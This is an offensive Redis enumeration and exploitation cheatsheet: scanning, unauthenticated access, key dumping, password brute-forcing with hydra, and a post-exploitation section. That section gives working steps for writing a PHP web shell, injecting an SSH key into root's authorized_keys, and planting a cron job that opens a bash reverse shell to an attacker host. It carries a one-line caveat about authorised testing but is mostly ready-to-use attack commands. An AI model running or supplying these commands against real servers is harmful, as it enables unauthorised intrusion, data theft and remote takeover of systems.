Redis Enumeration Cheatsheet
Default Port: 6379 (TCP) — often unauthenticated and bound to all interfaces
Initial Scanning
nmap -p 6379 -sV <ip>
nmap -p 6379 --script redis-info <ip> # Server info / config
nmap -p 6379 --script redis-* <ip> # All Redis scripts
Connecting
# Install client
sudo apt install redis-tools
# Connect (no auth)
redis-cli -h <ip>
redis-cli -h <ip> -p 6379
# Authenticated
redis-cli -h <ip> -a <password>
redis-cli -h <ip> -a <password> --no-auth-warning
# One-off command without interactive shell
redis-cli -h <ip> INFO
# Raw connection (no client installed)
nc <ip> 6379
# then type: INFO (end with CRLF)
Basic Enumeration
# Inside redis-cli (or: redis-cli -h <ip> <command>)
INFO # Full server info (version, OS, role, etc.)
INFO server # Just server section
INFO keyspace # Databases in use and key counts
CONFIG GET * # Dump all config values
CONFIG GET dir # Working directory (useful for writes)
CONFIG GET dbfilename # RDB filename
CLIENT LIST # Connected clients
COMMAND COUNT # Number of available commands
ACL WHOAMI # Current user (Redis 6+)
ACL LIST # Access control rules (Redis 6+)
Exploring Data
SELECT <n> # Switch DB index (default 0)
DBSIZE # Number of keys in current DB
KEYS * # List ALL keys (heavy on large DBs)
SCAN 0 # Cursor-based key iteration (safer)
RANDOMKEY # Return a random key
# Inspect a key
TYPE <key> # Data type (string, list, set, hash, zset)
TTL <key> # Time to live
# Read by type
GET <key> # string
LRANGE <key> 0 -1 # list
SMEMBERS <key> # set
HGETALL <key> # hash
ZRANGE <key> 0 -1 # sorted set
# Dump everything quickly
redis-cli -h <ip> --scan | while read k; do echo "$k => $(redis-cli -h <ip> GET "$k")"; done
Authentication Notes
# Check if auth is required
redis-cli -h <ip> PING
# -> PONG = no auth (open!)
# -> NOAUTH ... = password required
# Brute force with nmap
nmap -p 6379 --script redis-brute <ip>
# Brute force with hydra
hydra -P /usr/share/wordlists/rockyou.txt redis://<ip>
RCE / Post-Exploitation (Authorised testing only)
# 1. Web shell via RDB write (if web root is writable & known)
redis-cli -h <ip>
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET test "<?php system($_GET['cmd']); ?>"
SAVE
# -> browse to http://<ip>/shell.php?cmd=id
# 2. SSH key injection (if redis runs as a user with ~/.ssh writable)
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
redis-cli -h <ip> -x SET sshkey < key.txt
redis-cli -h <ip>
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET sshkey "..."
SAVE
# -> ssh -i id_rsa root@<ip>
# 3. Cron job injection (write to /var/spool/cron)
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET shell "\n\n* * * * * bash -i >& /dev/tcp/<lhost>/<lport> 0>&1\n\n"
SAVE
Module loading (Redis 4.x/5.x):
MODULE LOAD <path>can load a malicious.sofor RCE (e.g. RedisModules-ExecuteCommand / exp.so). Newer versions restrict this.
Useful Commands Reference
| Command | Description |
|---|---|
PING |
Test connectivity / auth |
AUTH <pass> |
Authenticate |
INFO |
Server stats and config |
CONFIG GET <param> |
Read a config value |
CONFIG SET <param> <val> |
Change a config value at runtime |
SELECT <n> |
Switch logical database |
KEYS * / SCAN 0 |
Enumerate keys |
GET / HGETALL / LRANGE / SMEMBERS |
Read values by type |
SAVE / BGSAVE |
Persist data to disk (RDB) |
MONITOR |
Live stream of all commands (great for sniffing) |
FLUSHALL |
Wipe all data (destructive — avoid) |
Notes
- Redis has no authentication by default and historically binds to all interfaces — exposed instances are common.
CONFIG GET dir+CONFIG SET dbfilenameis the key to most file-write attacks; check whetherCONFIGis disabled/renamed first.MONITORreveals live traffic including credentials passed viaAUTH— useful but noisy.- Redis 6+ adds ACLs and protected mode;
protected-mode yesblocks external no-auth access. - Only attempt write/RCE techniques against systems you’re authorised to test — they modify the target.